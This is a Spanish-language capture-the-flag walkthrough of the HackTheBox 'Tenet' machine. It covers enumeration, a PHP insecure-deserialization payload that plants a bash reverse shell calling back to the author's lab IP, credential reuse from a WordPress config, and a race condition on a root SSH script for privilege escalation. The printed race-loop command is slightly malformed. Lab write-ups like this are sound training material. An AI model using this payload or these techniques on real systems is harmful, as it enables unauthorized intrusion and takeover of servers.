Tenet - HackTheBox

image (15)

Empece haciendo un escaneo con Nmap de los puertos y servicios que tiene abiertos la máquina.

┌─[root@parrot]─[/home/wackyhacker/Desktop]
└──╼ nmap -sS --min-rate=5000 -p- -v -Pn -n 10.10.10.223 -oG allPorts
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-13 15:15 CEST
Initiating SYN Stealth Scan at 15:15
Scanning 10.10.10.223 [65535 ports]
Discovered open port 22/tcp on 10.10.10.223
Discovered open port 80/tcp on 10.10.10.223
Completed SYN Stealth Scan at 15:16, 13.01s elapsed (65535 total ports)
Nmap scan report for 10.10.10.223
Host is up (0.087s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.16 seconds
           Raw packets sent: 65595 (2.886MB) | Rcvd: 65535 (2.621MB)

Tiene dos puertos abiertos, el primero de SSH y el segundo es un servidor web que corre por su puerto predeterminado, hice otro escaneo para ver la versión de cada servicio.

┌─[root@parrot]─[/home/wackyhacker/Desktop]
└──╼ nmap -sC -sV -p22,80 10.10.10.223 -oN targeted                  
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-13 15:16 CEST
Nmap scan report for tenet.htb (10.10.10.223)
Host is up (0.047s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.6
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Tenet
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.00 seconds

Nmap me reporto que estaba frente a un WordPress, quise verificar eso, para ello utilice “WhatWeb”.

┌─[root@parrot]─[/home/wackyhacker/Desktop]
└──╼ whatweb http://10.10.10.223/                                                                                   
http://10.10.10.223/ [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.223], Title[Apache2 Ubuntu Default Page: It works]

“WhatWeb” no me lo reporto, pero efectivamente estaba ante un WordPress, también hice un “Fuzzing” con “Gobuster” para ver si me encontraba algún directorio potencial.

┌─[root@parrot]─[/home/wackyhacker/Desktop]
└──╼ gobuster dir -u "http://10.10.10.223/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.223/
[+] Threads:        20
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/06/13 15:18:35 Starting gobuster
===============================================================
/wordpress (Status: 301)
Progress: 2467 / 220562 (1.12%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2021/06/13 15:18:45 Finished
===============================================================

Efectivamente pude confirmar que era un WordPress, me fui a la página para ver que había.

Captura de pantalla (551)

Al parecer se estaba aplicando “Virtual Hosting” y no estába apuntando al dominio que tiene alojado el host, mire el código fuente y tenet.htb es el dominio desde el que estaba apuntando el host.

Captura de pantalla (552)

Simplemente lo incluí en /etc/hosts para que apunte al host y poder ver lo que tenía.

Captura de pantalla (553)

Ahora si pude ver lo que contenía realmente.

Captura de pantalla (554)

Encontré un usuario potencial.

Captura de pantalla (556)

Quise probarlo en WordPress, ya que te permite la enumeración de usuarios.

Captura de pantalla (557)

El usuario era válido, pensé en hacer fuerza bruta, pero quería indagar más en la página, también vi este comentario que me llamo mucho la atención.

Captura de pantalla (525)

Probando distintas cosas, llegue a dar con la conclusión de que sator es un subdominio de tenet.htb, lo incluí en el /etc/hosts.

Captura de pantalla (558)

En el comentario también mencionaba algo de PHP junto a sator, probé a unirlos y ver si era una archivo PHP, al parecer si lo era, esto es lo que tenía.

Captura de pantalla (559)

El comentario hablaba de un “backup”, por lo que me dio por probar añadir un .bak al archivo sator.php y me descargo un archivo.

Captura de pantalla (560)

Le hice un cat para ver su contenido.

Captura de pantalla (561)

Al parecer era el código fuente de sator.php, esto me iba a permitir plantear más bien el siguiente paso de la intrusión, el código lo que hace es recibir un input desde el parámetro arepo y lo deserializa, esto era un ataque de deserializacion insegura por PHP como una casa, ahora lo que tenía que hacer es crear el código malicioso serializado para que en la deserializacion ejecute mi sentencia maliciosa en PHP, en este caso una reverse shell por netcat.

Este es el código PHP que utilice para la serialización.

┌─[root@parrot][/home/wackyhacker/Desktop]
└──╼ php --interactive
php > class DatabaseExport {
php > public $user_file = 'shell.php';
php > public $data = '<?php shell_exec("bash -c \'bash -i >& /dev/tcp/10.10.16.5/443 0>&1\'"); ?>'; }
php > print urlencode(serialize(new DatabaseExport));

Una vez serializado lo introduje en el input de “arepo” (http://10.10.10.223/sator.php?arepo={code_serialize})

Captura de pantalla (562)

Y me otorgo una shell por netcat.

Captura de pantalla (563)

Hice un tratamiento de la TTY e intenté visualizar la “flag” de “user” pero no tenía permisos, me tenía que convertir en el usuario neil.

Captura de pantalla (568)

Recordé que estaba tratando con un WordPress, así que busque y visualice su archivo de configuración que contiene la contraseña.

Captura de pantalla (566)

Probé a autenticarme como neil y funciono.

Captura de pantalla (567)


ESCALADA DE PRIVILEGIOS

Visualice la “flag”, ahora solo faltaba la escalada de privilegios, hice un sudo -l para ver si se podía ejecutar algo como el usuario ROOT y me encontré un script.

Captura de pantalla (569)

Le hice un “cat” a la ruta absoluta con xargs para ver que es lo que hacía.

Captura de pantalla (570)

Lo que hace el script es crear una clave id_rsa.pub y alojarla en /tmp/ssh-{XXXXX}->(caracteres aleatorios) y luego copia el contenido del archivo en known_hosts. Si tenemos la capacidad de incluir nuestra clave publica en /tmp antes de que se copie a known_hosts podremos iniciar en SSH como el usuario ROOT. Para ello hice uso del siguiente comando en una ventana autenticado en SSH como el usuario neil.

neil@tenet~$ while true; do echo "{SSH_PUBLIC} | tee /tmp/ssh* > /dev/null; done"

Captura de pantalla (571)

Y en otra ventana con SSH como el usuario neil le di permisos de ejecución al script y lo ejecute recursivamente unas cuantas veces.

Captura de pantalla (572)

neil@tenet~$ sudo ./usr/local/bin/enableSSH.sh

y…

Captura de pantalla (573)

Leave a comment